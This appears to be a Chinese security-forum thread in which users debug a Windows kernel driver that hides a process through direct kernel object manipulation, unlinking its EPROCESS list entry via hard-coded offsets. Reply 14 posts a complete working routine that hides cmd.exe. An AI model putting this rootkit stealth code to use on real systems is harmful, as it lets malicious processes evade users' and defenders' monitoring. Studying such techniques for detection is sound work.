能力值:
( LV12,RANK:230 )
|
-
-
2 楼
用的是硬编码,,先看看自己机子操作系统版本。。。。
|
能力值:
( LV3,RANK:20 )
|
-
-
3 楼
是这个地址。用dt _EPROCESS看到的是这个偏移
|
能力值:
( LV9,RANK:610 )
|
-
-
4 楼
写程序不会调试还搞啥。。。
|
能力值:
( LV3,RANK:20 )
|
-
-
5 楼
因为机子太差了[768MHZ 256MB],虚拟机装不了系统,双机调试实现不了
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
换机器
|
能力值:
( LV5,RANK:70 )
|
-
-
7 楼
应该是改链表的地方错了
改成这样试试:
PLIST_ENTRY bList,fList;
bList=pHeadList->Blink;
fList=pHeadList->Flink;
bList->Flink=fList;
fList->Blink=bList;
第一次循环pHeadList也没有初始化,虽然第一次不会是taskmgr.exe
|
能力值:
( LV3,RANK:20 )
|
-
-
8 楼
顶哇.......
|
能力值:
( LV2,RANK:10 )
|
-
-
9 楼
严重强烈支持同意
|
能力值:
( LV4,RANK:50 )
|
-
-
10 楼
无意义 代码对了也没用 一样会蓝
|
能力值:
( LV3,RANK:20 )
|
-
-
11 楼
我也严重支持
可以说下原因么?
|
能力值:
( LV3,RANK:20 )
|
-
-
12 楼
}
pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
Eprocess=(DWORD)(pHeadList->Flink-0x88);
刚才又看了下。
可能是这里有问题。
因为若是断链之后,用那个初始化的指向自己,所以。 pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
这里的Eprocess还是断链的这个进程的Eprocess地址,
所以 Eprocess=(DWORD)(pHeadList->Flink-0x88);
这里又指回断链的Eprocess。。所以应会就蓝了。
我试下。。
|
能力值:
( LV3,RANK:20 )
|
-
-
13 楼
Eprocess=(DWORD)(pHeadList->Flink-0x88);
这句也有问题。。。。没转化
Eprocess=(DWORD)(((DWORD)pHeadList->Flink)-0x88);
|
能力值:
( LV3,RANK:20 )
|
-
-
14 楼
终于可以了。。。
VOID HidenProcess()
{
DWORD Eprocess,CurrentProcess,HidenEprocess;
BOOL HidenFlags;
char *pName;
PLIST_ENTRY pHeadList,HidenList;
Eprocess=CurrentProcess=(DWORD)PsGetCurrentProcess();
HidenFlags=FALSE;
_try {
do
{
pName=(char *)(Eprocess+0x174);
if (!strcmp(pName,"cmd.exe"))
{
KdPrint(("aa\n"));
pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
//
HidenList=pHeadList;
HidenEprocess=(DWORD)(((DWORD)pHeadList->Flink)-0x88);
//
//RemoveEntryList(pHeadList);
*(DWORD *)pHeadList->Blink=(DWORD)pHeadList->Flink;
*((DWORD *)pHeadList->Flink+1)=(DWORD)pHeadList->Blink;
//InitializeListHead(pHeadList);
pHeadList->Flink=(PLIST_ENTRY)&(pHeadList->Flink);
pHeadList->Blink=(PLIST_ENTRY)&(pHeadList->Flink);
HidenFlags=TRUE;
}
if (HidenFlags)
{
Eprocess=HidenEprocess;
HidenFlags=FALSE;
} else
{
pHeadList=(PLIST_ENTRY)(Eprocess+0x88);
Eprocess=(DWORD)(((DWORD)pHeadList->Flink)-0x88);
}
} while(Eprocess!=CurrentProcess);
}
_except(1)
{
KdPrint(("Error\n"));
}
}
|
能力值:
( LV2,RANK:10 )
|
-
-
15 楼
这样做后,很难说隐藏的进程还能跑起
|
能力值:
( LV9,RANK:610 )
|
-
-
16 楼
断链很安全~
|
|
|